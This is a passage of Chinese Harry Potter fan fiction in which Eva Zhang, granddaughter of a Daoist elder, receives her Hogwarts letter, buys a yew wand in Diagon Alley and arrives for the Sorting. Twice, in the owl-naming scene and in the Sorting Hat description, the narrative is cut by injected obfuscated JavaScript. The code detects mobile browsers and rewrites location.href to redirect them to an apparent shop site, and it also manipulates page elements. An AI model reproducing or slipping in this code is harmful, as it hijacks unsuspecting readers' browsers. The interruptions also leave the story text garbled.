《HP同人霍格沃茨上学指南》 1. 夏天的选择 1991年夏天,伦敦的天气怪怪的。 雾不是雾,像一层灰色的、湿乎乎的纱布,糊在骑士桥公寓的窗户上,擦了又蒙上,总也擦不干净。张丽华,爸妈和英国老师叫她Eva,趴在窗台上看了半天,下巴搁在交叠的手臂上。楼下那些红色巴士在灰蒙蒙里开来开去,像她小时候玩的发条玩具,上紧发条就直直地跑,碰到障碍才停。 心里有点闷闷的,和以前要搬家去新国家时有点像,但又不太一样。以前是“又要去不认识的地方”,这次是“要去完全不明白的地方”。麦格教授说那叫魔法学校。魔法。这个词在嘴里滚一圈,感觉不真实,像含着颗太妃糖,知道是甜的,但还没化开。 “丽华,行李收拾好了没?” 妈妈推门进来,声音听起来有点累。Eva转头看见妈妈还穿着出门的衣服,米色套装,头发一丝不苟地挽着,但眼角有细细的纹路,那是最近几天新长出来的,还是以前就有?Eva忽然发现自己不太确定。 她从窗台滑下来,光脚踩在地毯上,羊毛扎扎的。“差不多了。”她指了指地上敞开的箱子。 箱子是深蓝色的,边缘磨得有点发白,跟着他们跑过几个国家。里面已经放了几件旗袍,丝质的,滑溜溜的叠在一起,像睡着的蝴蝶。还有一套青色的道袍,去年回江南时爷爷给的,料子摸起来凉丝丝的,袖口绣着云纹,不仔细看看不出来。 妈妈走过来,蹲在箱子旁边,手指抚过旗袍的领子,停了一下。然后她也看见了床头柜上那封信。厚厚的羊皮纸,颜色像旧了的奶油,上面写着“霍格沃茨魔法学校”,字是烫金的,摸上去有点凸起。 “你爸爸在书房。”妈妈没看Eva,还在看那封信,“部里来了电话,东欧那边又……反正,他得处理完才能过来。” Eva点点头。爸爸总是很忙。张谦,中国驻英国大使馆三等秘书,西装永远笔挺,说话永远有分寸。上次麦格教授来时,他和教授在书房谈了一个小时,出来时只说了一句:“记住你是谁。不管在哪儿。” 记得当时Eva想问:我是谁?但没问出口。大人的话有时候像谜语,你得自己猜。 妈妈轻轻抱了她一下,那种大人式的、带着香水味的拥抱,手臂有点紧。 “我们知道这事挺突然的。”妈妈说,声音低低的,“但麦格教授,还有你爷爷……他们觉得这样最好。” Eva摸了摸手腕上的玉佩。羊脂白的,雕着太极图,边上有几个小小的八卦符号,得凑很近才能看清。从小戴到大,温温的贴在皮肤上,心烦的时候贴着很舒服。 “魔法学校是什么样子的?”她问。 妈妈愣了一下,然后笑了,笑容有点勉强:“我要是知道就好了。麦格教授说……有会动的楼梯,会说话的画,还有什么……送信的猫头鹰?”她摇摇头,“听起来像童话。” “那为什么——” 门铃响了。 妈妈站起来,整理了一下裙子:“应该是麦格教授。她说今天来送车票和清单。” Eva跟着妈妈去开门。麦格教授还是穿着那身绿袍子,尖顶帽,表情严肃得像博物馆里的雕像。她朝妈妈点点头,又看向Eva:“下午好,张小姐。” “下午好,教授。” 麦格教授和妈妈简短地寒暄了几句,然后说:“如果方便的话,我想和张先生也谈谈。” 爸爸从书房出来了,领带松了一点。他和麦格教授握了手,Eva注意到爸爸握手时很正式,然后三个人进了书房,门轻轻关上。 Eva坐在客厅沙发上,抱着膝盖。沙发是真皮的,凉凉的。墙上挂着一幅水墨画,是爷爷画的山水,烟雾蒙蒙的远山,近处有小船。她盯着那幅画,耳朵却竖着,想听书房里的声音。 只能听见低低的嗡嗡声,像远处有蜜蜂。偶尔有几个词飘出来,“特殊情况”、“安全”、“监护责任”,但连不成句子。 过了好久,门开了。 麦格教授走出来,爸爸跟在后面,妈妈在最后。爸爸的表情Eva看不懂,不是生气,也不是高兴,就是……很严肃,比平时还严肃。 “张小姐。”麦格教授走过来,递给她另一封信,比之前那封还厚,“这意味着你是个女巫。” 女巫。 这个词让Eva愣了一下。她想起那些“小意外”: 七岁在柏林,妈妈最喜欢的青瓷花瓶被她碰倒了,碎了一地。她吓哭了,蹲在地上捡碎片,手指被割破。血滴在瓷片上,然后,碎片自己动了,一片一片飞起来,咔嚓咔嚓拼回去,最后一道裂缝在她眼前慢慢合拢,消失。完好的花瓶立在桌上,像什么都没发生过。只是她手指上还有个小口子。 九岁在巴黎,阳台上的天竺葵枯了,叶子黄黄的卷起来。她每天浇水也没用。有一天她特别难过,为什么难过忘了,可能是在学校被哪个法国女孩笑了口音,她蹲在花盆前,用手指碰了碰枯叶。叶子颤了一下,然后慢慢、慢慢舒展开,从叶尖开始变绿,像有看不见的颜料在涂。第二天早上,花开出了新的粉红色花朵。 还有那些莫名其妙的风。心情不好的时候,房间里会有微风,轻轻的,绕着脚踝转,像在安慰她。她以为大家都这样。 原来这不只是爷爷说的“先天一炁”。 “霍格沃茨是英国最好的魔法学校。”麦格教授继续说,声音清晰平稳,每个字都咬得很准,“你会在这里学习如何使用魔法,认识和你一样有天赋的年轻人。”她从袍子里抽出一张长长的羊皮纸,“这是必备用品清单。长袍、魔杖、课本、以及其他必要物品。” Eva接过清单。上面列的东西她大多不认识:锡镴坩埚、黄铜天平、玻璃药瓶……还有“魔杖一支”。 “通常我们会带新生家庭前往对角巷采购,”麦格教授说,“但你情况特殊。你父母的工作性质,以及你祖父的特别要求……我们破例批准由你的家人自行带你前往。开学那天,九月一日,国王十字车站,九又四分之三站台。在9和10站台之间,直接走过去,不要犹豫,不要放慢速度。墙会放你通过。” 她说得那么理所当然,好像墙本来就应该放人通过似的。 “车票在这里。”麦格教授又递过一张硬纸片,印着霍格沃茨特快列车的图案,发车时间写着“上午十一时整”。 然后她看了看Eva,眼神在Eva脸上停留了几秒。那眼神很锐利,但不凶,更像是在测量什么。“你祖父是一位很有智慧的人,”麦格教授忽然说,“他给你的建议,值得仔细听。” 说完,她朝父母点点头,转身离开。绿袍子下摆划过一个坚定的弧度,门开了又关上。 客厅里安静了几秒。 然后妈妈长长地、慢慢地吐了口气,像是憋了很久。她走过来,握紧Eva的手,指节都白了。“你爷爷说,”妈妈的声音有点哑,“去对角巷之前,一定要先回一趟老宅。他说有东西要给你,有话说。” 爸爸走过来,把手放在Eva肩上。爸爸的手很大,很暖。“机票订好了,”他说,“后天走。东欧那边……我尽量赶回来送你上火车。” Eva点点头。她知道“尽量”的意思。 几天后,江南。 伦敦的灰雾不见了,换成湿漉漉的、绿油油的水汽。空气里有股特别的味道,河水、青苔、煮饭的柴火味,混在一起。Eva深深吸了一口,感觉肺里都变绿了。 他们从希思罗飞到上海,再转汽车。汽车在窄窄的公路开,两边是稻田,绿得晃眼。最后一段路是小船,乌篷船,船夫是个头发花白的老爷爷,认识爷爷。 “小囡回来啦?”老爷爷笑着,露出缺了门牙的洞,“张老先生念叨好几天喽。” 小船吱呀吱呀在河里走。河水是绿的,倒映着白墙黑瓦的房子。有人在河边洗衣服,棒槌敲得啪啪响。有小孩光屁股在石阶上玩水,看见船就挥手。 老宅就在河湾处。白墙,黑瓦,墙头探出几丛竹子,叶子尖上滴着水。门是木头的,旧得发黑,上面有铜环。 爷爷就站在门前的石阶上。 他穿着洗得发白的青布道袍,袖子宽宽的,风一吹就飘起来。头发全白了,在脑后梳成小小的髻,用木簪固定。脸上皱纹很深,像老树的皮,但眼睛亮亮的,清清楚亮。 看见Eva,爷爷笑了,皱纹全都舒展开。“回来啦。”他说,声音不高,但稳稳的。 没有拥抱。爷爷不习惯拥抱。他只是伸出手,摸了摸Eva的头,手掌很大,有点粗糙,但很暖。 妈妈和爷爷说了几句话,就进屋放行李去了。爸爸没来,东欧的事没处理完。Eva站在院子里,看着那棵老槐树。树很粗,要两个人才能合抱,枝叶茂密,在地上投出一大片阴凉。 “来。”爷爷说,转身往屋里走。 Eva跟着。屋里暗暗的,有木头和旧书的气味。家具都是深色的,擦得发亮。墙上有字画,案几上摆着瓷瓶,瓶里插着枯掉的莲蓬。 爷爷在堂屋的椅子坐下,指了指对面的凳子。Eva坐下,凳子硬硬的。 “伦敦的事,你爸妈跟我说了。”爷爷慢慢说,手指在扶手上轻轻敲着,有节奏的,“魔法学校。女巫。”他说这两个词时,语气很平常,好像在说“下雨了”或者“饭好了”。 Eva点头,等着。 爷爷站起来,走到墙边的柜子前。柜子是老红木的,雕着花鸟。他打开抽屉,取出一个长长的紫檀木盒子,盒子黑沉沉的,泛着幽光。 “这个给你。”爷爷把盒子放在Eva手里。 盒子比看起来重,沉甸甸的。Eva打开。 是一支细细的紫竹毛笔。笔杆是紫竹的,磨得光滑温润,透出常年摩挲才有的光泽。笔尖是狼毫,聚成尖,尖上有一点点光,不是真的光,是某种感觉,好像笔尖随时准备动起来。 “霍格沃茨的人用魔杖,那是他们的路。”爷爷的声音慢慢的,像河水流,不急不缓,“我们呢,走路是修行,吃饭是修行,呼吸也是修行。这支笔跟了我几十年,能画符,也能写咒。” Eva小心地拿起笔。笔很轻,握在手里凉凉的。 “记住,”爷爷看着她,眼神很认真,“用心去带它,别让它带你。魔力也好,炁也好,都是你身体里的东西。你是主人,它们是客人。客人要听主人的。” Eva握着笔,一股凉凉的气息顺着胳膊流进来,细细的,像小溪。这股气息和她身体里那股从小就有的“炁”碰在一起,没有打架,而是混在一起,开始转啊转的,慢慢的,顺顺的。 她好像懂了一点点,又好像没全懂。 爷爷坐下来,端起茶杯喝了一口。茶杯是青瓷的,薄得能透光。 “你要去的那个地方,和咱们这儿不一样。”爷爷说,“他们喜欢分对错,分黑白,分这边那边。格兰芬多勇敢,斯莱特林精明,拉文克劳聪明,赫奇帕奇忠诚,麦格教授的信里这么写的吧?” Eva点头。分类帽,四个学院,信上都有写。 “分得清楚,是好事。”爷爷放下茶杯,“但天底下的事,不是永远都分得清的。真正的本事,不是急着选哪边站,是看清楚中间的线在哪儿。看清楚了,站稳了,别晃。” 他顿了顿,又说:“还有,不管在那儿看见什么、听见什么,留个心眼。有些话听着好听,不一定真好。有些人看着不好,不一定真坏。用眼睛看,用耳朵听,更要……用这里。”他指了指心口。 Eva点点头,把笔小心地收进盒子。盒子有绒布内衬,笔放进去刚好。 晚上吃饭,妈妈和爷爷说话,说伦敦,说工作,说东欧的局势。Eva安静地吃,菜是家常菜:清蒸鱼、炒青菜、冬瓜汤。鱼是河里捞的,青菜是后院种的,汤里漂着虾米。 味道和伦敦不一样。伦敦的菜总是缺一点什么,可能是锅气,可能是水。 睡觉前,Eva趴在窗台上看院子。月亮出来了,黄黄的,挂在槐树枝头。池塘里有青蛙叫,呱呱呱,一阵一阵的。 她摸摸手腕,玉佩是温润的。 明天要去对角巷。魔法世界。 她躺上床,闭上眼睛。梦里没有魔法学校,只有小船在河里摇啊摇,吱呀吱呀。 第二天下午,破釜酒吧。 他们从上海直接飞回伦敦,这次不用转机,有专车接。开车的还是那个魔法部的叔叔,姓陈,话很少,只是点头摇头。 车子在查令十字街停下。陈叔叔指着一家又小又脏的酒吧:“那里。敲墙。我在这儿等。” 妈妈看着酒吧招牌,“破釜酒吧”,皱了皱眉。“你确定?”她小声问爸爸。 爸爸已经在下车了。“麦格教授说的就是这儿。” Eva跟着下车。酒吧门是黑的,油乎乎的。推开门,一股味道冲出来,烟味、啤酒味、灰尘味,还有种说不清的、动物皮毛似的味道。 里面暗暗的,只有几盏油灯。几个老巫师坐在角落里,袍子破破烂烂的,正在玩一个会尖叫的陀螺。陀螺转着,发出“啊啊啊”的尖叫声,老巫师们哈哈大笑。 酒吧老板汤姆从柜台后面探出头,用一块脏得看不清颜色的抹布擦杯子。“新生?”他咧开嘴笑,露出缺了门牙的洞,“后头,垃圾桶上头,敲三下。” 妈妈抓紧了Eva的手。爸爸从口袋里掏出魔杖——麦格教授留给他的临时用的,说以防万一,走到后院。 后院堆着垃圾箱,气味更难闻。爸爸找到垃圾桶上方那块砖,深吸一口气,用魔杖敲了三下。 哒,哒,哒。 墙动了。 不是裂开,是旋转,砖块一块接一块转开,重新排列,中间露出一条拱道。拱道那边是鹅卵石铺的路,两边全是奇怪的商店,人来人往,热闹得不得了。 Eva屏住呼吸。 他们走进去,墙在身后合拢。现在他们站在一条蜿蜒的街道上,街道不宽,挤满了人。有穿长袍的巫师匆匆走过,袍角翻飞;有小孩拖着哭闹的猫头鹰;有商店橱窗里摆着会自己搅拌的坩埚、会咬人的书、还有飘在半空的水晶球。 空气里有种噼里啪啦的感觉,像冬天脱毛衣时的静电,但一直持续着。还有味道,左边飘来甜得要命的糖果香,右边传来皮革和药草味,混在一起,怪怪的,但不难闻。 “先买长袍。”爸爸看着清单说。 摩金夫人的长袍店挤满了人。Eva站在脚凳上,一卷皮尺自动飞过来,绕着她的胳膊、胸口、腿量尺寸。皮尺凉凉的,动作很轻,量完就在空中自己记数字。 摩金夫人是个矮矮胖胖的女巫,笑容很慈祥。“新生?”她一边用别针固定袍子下摆一边问,“哪个学院的?” “还不知道。”Eva说,“要分院。” “哦对,当然。”摩金夫人笑了,“不管哪个学院,袍子总得合身。抬抬手,对,就这样。” 袍子是黑色的,料子厚实。Eva看着镜子里穿黑袍的自己,觉得有点陌生。像在扮演什么人。 然后是坩埚店。店员是个年轻巫师,一直在说不同材质的优点:“铜的导热最好,但贵;锡镴的便宜,耐用;银的适合精密操作……”爸爸选了标准锡镴坩埚,又买了一架黄铜天平,天平的小托盘亮晶晶的。 课本在丽痕书店买。书店很大,天花板高高的,书架上塞满了书,有些书在低语,有些书在尖叫。Eva按照清单找:《标准咒语,初级》《魔法史》《魔法理论》……有一本《怪兽及其产地》封皮是粗糙的皮革做的,摸起来像真的兽皮。 “需要《隐形术的隐形书》吗?”店员热情地问,“刚到的,特别畅销!” 爸爸礼貌地拒绝了。 咿啦猫头鹰商店最有趣。店里全是鸟:大的小的,各种颜色,咕咕咕、咕咕咕叫个不停。有的在睡觉,有的在理羽毛,有的瞪着圆溜溜的眼睛看人。 Eva在店里转了一圈。有只棕色的猫头鹰看起来很友善,朝她眨眨眼。有只灰色的很神气,昂着头。最后她在角落看见一只雪白的猫头鹰,毛色干净得像新雪,眼睛是琥珀色的,亮亮的。 白猫头鹰也看见了她,歪着头,像在打量。 Eva走过去,隔着笼子看它。它也看她。 “这只是雪鸮,”店主走过来,“很聪明,但有点傲气。不容易亲近人。” Eva伸出手指,轻轻碰了碰笼子。雪鸮没有躲,反而往前凑了凑,喙碰了碰她的指尖,轻轻的。 “就它吧。”Eva说。 “起个名字?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980617|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Eva想了想:“素雪。”素净的雪。 爸爸付了钱。素雪被装进新笼子,安静地站在横杆上,琥珀色的眼睛看着Eva,像在说:行,就你了。 最后是奥利凡德魔杖店。 店又小又挤,架子上堆满了灰扑扑的盒子,一直堆到天花板。空气里有灰尘和木头味。Eva一进去,就觉得有无数双眼睛在看她——不是人的眼睛,是那些盒子里的东西在“看”。 “下午好。” 一个声音从梯子顶端传来。Eva抬头,看见一个老头,很老很老,头发全白,眼睛颜色很浅,像褪了色的玻璃珠子。他从梯子上滑下来,动作轻巧得不像老人。 “新生。”奥利凡德先生走到Eva面前,弯下腰,浅色的眼睛盯着她的脸,“啊……是的。我记得每一根魔杖,每一位顾客。但你……你很特别。” 他量了Eva的胳膊,从肩膀到手腕,从肘部到指尖,又量了指距。尺子自己动,记下数字。 “好了。”奥利凡德先生转身在架子间穿梭,抽出一个盒子,“试试这个。柳木,独角兽毛,九又四分之一英寸,柔韧。适合治愈类魔法。” Eva接过魔杖。魔杖凉凉的,握着有点轻。她挥了一下,魔杖尖冒出几颗火星,红色的,闪了闪,灭了。 “不,不……”奥利凡德先生拿回魔杖,又抽出一个盒子,“这个。冬青木,凤凰羽毛,十一英寸。适合防御。” 这次魔杖在Eva手里震了一下,麻麻的,像被轻轻电到。她赶紧放下。 奥利凡德先生盯着她看,浅色的眼睛眯起来。然后他看见了Eva随身带的紫竹笔盒子,Eva一直挎在肩上。 “那是什么?”他问。 “我爷爷给我的笔。”Eva小声说。 “可以看看吗?” Eva打开盒子。奥利凡德先生没有碰笔,只是凑近看,看了很久。 “有意思……”他喃喃道,“真有意思。你身体里有魔力,纯粹的、直接的魔力,和我们一样……但底下还有别的东西。更老,更……内敛。像河床,托着河水。” 他直起身,眼睛亮起来:“等等。” 他走到店铺最深处,在积满灰尘的架子底层翻找。灰尘扬起来,在光线里跳舞。最后他抱出一个盒子,盒子旧得发黑,边角都磨圆了。 “这个。”他说,吹掉盒子上的灰,打开。 里面躺着一根魔杖。深色的木头,近乎黑色,有细微的纹理。长度明显比之前的都长。 “紫杉木,龙心弦,十三又二分之一英寸。”奥利凡德先生的声音很轻,像在说秘密,“紫杉木和死亡作伴,也赋予生命。龙……无论在东方还是西方,都是力量与神秘的象征。这根魔杖在这里等了很久,很久。” 他把魔杖递给Eva。 Eva的手指刚碰到魔杖—— 嗡! 店里的铃铛全部响起来,叮叮当当,急促又清亮。架子上好几个盒子开始抖动,哗啦啦的。一股热流从魔杖涌进Eva的手,顺着胳膊冲遍全身,和她身体里那股平和的“炁”撞在一起! 但没打架。像两股水流,一股热,一股凉,开始旋转,缠绕,最后合成一股更大的流。 魔杖尖爆出光,不是火星,是完整的、金灿灿的光束,像条小龙从杖尖冲出来,在屋里盘旋,转了一圈,两圈,把灰尘都卷起来吹散,然后才慢慢消散。 空气里有股臭氧的味道,像雷雨后。 奥利凡德先生长长、长长地吐了口气。 “它选你了。”他说,表情复杂有惊叹,有满足,还有一点点Eva看不懂的东西,像是担忧,“紫杉木魔杖……它选的主人都不太平凡。有的成就伟业,有的……走向黑暗。”他看着Eva,“它选你,大概是因为你身体里那股能跟它较劲、又能带着它走的力量。” 他顿了顿,声音更轻了:“这根魔杖很强大,小姐。强大到……需要同样强大的心来驾驭。别让它驾驭你。” Eva握着魔杖。它现在很安静,温顺地躺在手里,但能感觉到里面沉睡的力量,热热的,蠢蠢欲动,像炉子里埋着的火。 和爷爷的笔完全不一样。笔是凉凉的,顺着的,像呼吸一样自然。这根魔杖是……是工具,是武器,是想改变世界的东西。 她付了钱,七个加隆。爸爸数金币时表情很平静,但Eva看见他手指握紧了钱袋。 走出魔杖店时,天已经暗了。街道两边亮起灯,不是电灯,是漂浮的光球,暖黄色的光晕染在鹅卵石上。 他们往回走,穿过拱道,回到破釜酒吧后院。墙在身后合拢,又变成普通的砖墙。 陈叔叔还在车里等。他们上车,车子驶入伦敦的夜色。 九月一日,国王十字车站。 Eva推着行李车,轮子在光滑的地板上咕噜咕噜响。车上放着新买的皮箱,棕色,带铜扣,里面塞满了东西:长袍、课本、坩埚、天平、还有那套青色道袍和旗袍,压在箱底。素雪的笼子放在箱子上面,素雪安静地站着,偶尔转转头。 紫竹笔收在袍子内袋,贴着心口,能感觉到笔杆凉凉的弧度。紫杉木魔杖放在另一个外袋,一伸手就能摸到。左手腕上是玉佩,右手腕上是手表,普通的手表,爸爸送的,表盘是淡蓝色。 车站里人来人往,嘈杂得很。广播在报车次,声音嗡嗡的。有小孩在哭,有情侣在拥抱告别,有商务人士拖着行李箱快步走。空气里有咖啡、柴油、香水、汗水的味道,混在一起。 Eva在9和10站台之间停下。 面前是一堵墙。光溜溜的,贴满了瓷砖,能照出模糊的人影。她看见自己:黑头发扎成马尾,白衬衫,灰色毛衣,牛仔裤,妈妈坚持要她穿麻瓜衣服上车,说到了火车上再换长袍。看起来就是个可爱的中国女孩,有点瘦,眼睛有点大。 墙那边是另一个世界。 爸爸妈妈没来。东欧那边的事还没完,爸爸凌晨打电话来,声音沙哑:“对不起,丽华。陈叔叔会送你到车站……到了学校写信。每天都要写。” 妈妈说:“照顾好自己。吃饭别挑食。冷了加衣服。” Eva说:“嗯。你们也注意身体。” 然后电话就挂了。 现在她一个人。 陈叔叔帮她把行李推到墙前面,点点头,说了今天第一句话:“保重。”然后转身就走了,背影很快被人群吞没。 Eva深吸一口气。 没有犹豫。 她握紧行李车把手,盯着墙中间某一点,开始走。一步,两步,加速——小跑起来—— 撞向墙。 一瞬间的黑暗和挤压,像穿过一层凉凉的、有弹性的水膜。耳朵里嗡嗡响,眼前闪过乱七八糟的颜色。 然后,声音涌进来。 尖叫声、笑声、猫头鹰叫、猫叫、还有火车汽笛的呜呜声,响亮得震耳朵。 Eva睁开眼睛。 深红色的蒸汽火车横在眼前,庞大得像一头巨兽。车头喷着白烟,烟里有闪闪发光的微粒。车窗里挤满了面孔,有的在挥手,有的在找座位。站台上全是人,穿黑色长袍的学生跑来跑去,穿各种颜色袍子的家长在告别,猫在腿间穿梭,猫头鹰在笼子里扑翅膀,羽毛乱飞。 空气里有煤烟味、糖果味、还有那种魔法特有的噼啪感。 Eva站在那儿,有那么几秒钟,完全不动。只是看着,听着,感觉着。 然后她低头看了看自己。衣服没破,行李车完好无损。素雪在笼子里歪头看她,像在说:发什么呆? 她吐了口气,笑了,小小的、不太确定的笑容。 整理了一下被风吹乱的头发,把行李箱重新摆好。手腕上的玉佩温温的。 她抬起头,最后看了一眼这乱糟糟的、热闹得不行的站台。 然后推着车,走向最近的车门。 踏板有点高,她用力把行李车抬上去,箱子刮到边缘,发出刺耳的声音。一个红头发的男孩从里面伸手帮她拉了一把,进入车厢后发现还有一个一模一样的,显然是双胞胎。 “新生?”他咧嘴笑,“欢迎来到霍格沃茨特快!” Eva点点头:“谢谢。” 她把车推进车厢过道。 2. 列车与城堡 车厢里的味道怪怪的。 一股陈旧的皮革味,混着甜得发腻的南瓜馅饼香,底下还压着一种Eva说不上来的、让她皮肤有点微微发麻的感觉,大概就是麦格教授说的“魔法”的味道吧。再加上淡淡的煤烟味,全都搅在一起。 Eva推着快要和她一样高的行李车,咕噜咕噜地走过一节节车厢。好多门都关着,里面传出笑声和说话声。她能感觉到有目光从门玻璃后面透出来,落在她身上,带着好奇。她没怎么理会,只是微微低了低头,这是她习惯了的方式,在新地方,先看看,不急着说话。 走到列车中后段,她终于看见一间只有一个人的包厢。一个男孩,火红火红的头发,鼻子上有几颗小雀斑。他正对着一堆看起来鼓鼓囊囊的三明治发呆,表情有点无聊,又有点无奈。 Eva轻轻敲了敲开着的门框。“请问,这里有人吗?”她用英语问,声音不高,但清楚。 男孩吓了一跳似的抬起头,赶紧用手背蹭了蹭鼻子。“哦!没,没人!就我。”他手忙脚乱地把旁边座位上一个旧旧的纸袋拿开,纸袋窸窣作响。 “谢谢。”Eva点点头,费力地把行李箱挪到角落靠稳,然后在男孩对面的靠窗位置坐下。窗外,伦敦那些灰扑扑的房子正飞快地向后退去,渐渐变成了绿绿的田野,田野上有些小黑点,大概是牛羊。她把素雪的笼子小心地放在身旁的空位上,素雪在笼子里轻轻动了动。 车厢里安静下来,只有车轮哐当哐当的响声。男孩偷偷看了她几眼,想说什么又没说出来。Eva看着窗外,手指无意识地摸着笼子的栅栏。 “呃……你要来个三明治吗?”男孩终于开口,拿起一个看起来馅料有点不太均匀的三明治,“我妈妈做的。我叫罗恩·韦斯莱。” “谢谢,不用了。”Eva转过头,礼貌地说,“我叫Eva Zhang,张丽华。”她看到罗恩念她中文名字时舌头有点打结,便补充道,“叫我Eva就好。” “Eva。”罗恩重复了一遍,点点头,注意力好像又回到了他的三明治上,小声嘀咕,“又是咸牛肉……” 就在这时,包厢门又被拉开了。一个戴着圆眼镜的黑发男孩探进头,额头上有一绺头发翘着,下面好像有道细细的疤。“对不起,”他有点不好意思地问,“别的地方都满了,我能在……”他的目光落在Eva旁边的空位上,停住了。 “当然可以!”罗恩立刻说,听起来挺高兴。 “谢谢。”黑发男孩走了进来,把他的箱子放好,在Eva旁边坐下。他看起来有点累,但那双绿色的眼睛很友善。 “我叫罗恩·韦斯莱。”红发男孩又说了一遍。 “我是哈利,”黑发男孩说,“哈利·波特。” 突然,车厢里只剩下车轮的声音了。罗恩的眼睛一下子瞪得溜圆,嘴巴微微张开,手里的三明治都忘了放下,直直地盯着哈利的额头。就连Eva,也忍不住多看了哈利两眼,哈利·波特,这个名字,还有他额头上的疤,她好像在爸爸偶尔带回来的、皱巴巴的英文报纸角落瞥到过,模模糊糊的。 “你真的是……?”罗恩的声音因为激动有点磕巴,“那个哈利·波特?” 哈利显得有点不自在,点了点头,下意识地抬手想把额前的头发再往下拨一拨。“嗯,是我。” 接下来,主要是罗恩在兴奋地问哈利问题,关于魔法世界,关于他怎么长大的。哈利回答得不多,但很耐心。Eva大部分时间安静地听着,偶尔在哈利看过来时,给他一个淡淡的、友好的微笑。从他们的对话里,她知道了罗恩家里有好几个哥哥,穿的都是旧袍子;哈利在“麻瓜”世界长大,对这里的一切都陌生。这让她对自己要去的世界,又多了一点点拼图。 包厢门第三次被拉开,一个顶着浓密棕色卷发的女孩探进头,语速很快:“你们有看到一只蟾蜍吗?一个叫纳威的男孩丢了一只。” 哈利和罗恩都摇摇头。 “哦,”女孩的目光飞快地在包厢里扫了一圈,在哈利还没来得及换的普通衣服上停了停,又掠过罗恩的旧袍子和三明治,最后在Eva脸上停留了一瞬,好像对她沉静的样子和东方面孔有点好奇,但马上又回到正事上,“好吧,如果你们看到的话……对了,你们最好赶快换上长袍,我想我们大概很快就要到了。”她说完,不等回答就风风火火地关上门走了。 “她谁啊?”罗恩皱起眉头。 “不知道。”哈利说。 Eva没说话。她确实该换衣服了。从随身的小包里拿出叠得整整齐齐的黑色校服长袍,还有那本薄薄的、用丝线装订的绢帛笔记。她先换上长袍,料子比她在家试穿时感觉更厚实些。换好后,她把笔记轻轻摊在膝盖上。上面是爷爷用细毛笔抄的静心口诀和一些简单的符文图案,墨迹深深浅浅,看着就让她心里安定一点。罗恩好奇地瞥了一眼那些曲里拐弯的字和图形,嘟囔了句“那是什么?”,但见Eva只是轻轻摸着纸页没解释,就转回头继续跟哈利说魁地奇球赛的事了。 不知道过了多久,车轮的声音慢了下来,最后哐当一声停住。外面一片漆黑,冷风立刻从门缝钻进来,飕飕的。 “一年级新生!一年级新生到这边来!”一个像打雷一样的声音在外面喊。 Eva跟着其他提着行李、跌跌撞撞的新生走下火车。站台又小又黑,只有一盏昏黄的灯提在一个巨人手里——真的是巨人,胡子蓬蓬的,个子像座小山,叫海格。他的胡子上好像还挂着亮晶晶的小水珠。 “跟我来,还有一年级新生吗?当心脚底下!”海格的声音嗡嗡的,带着大家走下一段陡峭、滑溜溜的小路。两边是黑乎乎的树林,像高高的墙。有人踩到泥坑,小声惊叫。Eva抓紧了行李箱的把手,一步一步跟着。 然后,一个转弯。 所有的声音,喘气声、抱怨声,都一下子停了。 黑色的湖对面,一座巨大的城堡矗立在悬崖上,塔楼尖尖的,数不清的窗户里透出温暖的、跳动的灯光,全都倒映在平静如墨的湖水里。像是把一整片星空和童话里的宫殿,一起搬到了眼前。 Eva屏住呼吸,静静地看着。心跳得有点快。这和爷爷水乡的老宅完全不同。老宅是安静的,迂回的,藏在绿意和水汽里。这座城堡是石头的,雄壮的,光芒四射的。这就是霍格沃茨。 他们坐上小船,四人一条,小船自己滑向对岸,湖面平得像玻璃。城堡的大门打开,麦格教授穿着那身翠绿色的袍子站在那里,表情严肃。所有的新生都安静了,带着敬畏看着她。 在门厅旁边一个小房间里,麦格教授讲了四个学院,还有学院杯。她的目光扫过每一张仰起的小脸。“等我们准备好了,就来接你们去分院,”她最后说,语气不容商量,“保持安静。” 麦格教授一走,房间里那种紧绷绷的感觉立刻弥漫开来。Eva听到旁边一个圆脸男孩(大概就是丢蟾蜍的纳威)用发抖的声音对哈利说,他听说分院可能要跟巨怪打架。Eva轻轻吸了口气,手指悄悄伸进袖口,摸了摸贴身放着的紫竹笔。笔杆凉凉的触感传来,让她稍微定下心来。 忽然,旁边的哈利低低地“啊”了一声,脸色有点发白。 Eva转过头,看见他正捂着自己的额头,那道疤痕在发际下若隐若现。 “怎么了?”她轻声问。这是她第一次主动跟他说话。 哈利好像有点惊讶,摸了摸额头,困惑地说:“没什么……就是突然有点刺痛。” Eva看着他,没再问。这道疤,还有那些传说,肯定不简单。这种突如其来的感觉,不会是偶然。她把目光移回紧闭的大门,心里对这座城堡的感觉,又多了一层说不清的、复杂的滋味。 终于,大门再次打开。 他们排着队,走进了一个Eva从未想象过的大厅。 成千上万支蜡烛飘在空中,把一切都照得金灿灿的。天花板是深蓝色的,像真正的夜空,上面星星在闪烁。四张长长的桌子边坐满了学生,全都看向他们,目光里有好奇,有打量,也有欢迎。最前面,老师们坐在一张铺着金色餐具的长桌后面。 麦格教授在教师席前放了一张四脚凳,然后,她拿出了一顶帽子。 一顶又破又旧、打满补丁、脏得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980618|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不出颜色的尖顶巫师帽。 帽子动了。它扭了扭,帽檐附近裂开一道缝,像一张嘴,然后,它开始唱歌。 Eva明白了。就是这顶帽子。它会看进他们心里,然后决定他们去哪儿。 帽子唱完,麦格教授拿着一卷羊皮纸走上前:“我叫到名字的,戴上帽子,坐到凳子上,等候分院。” 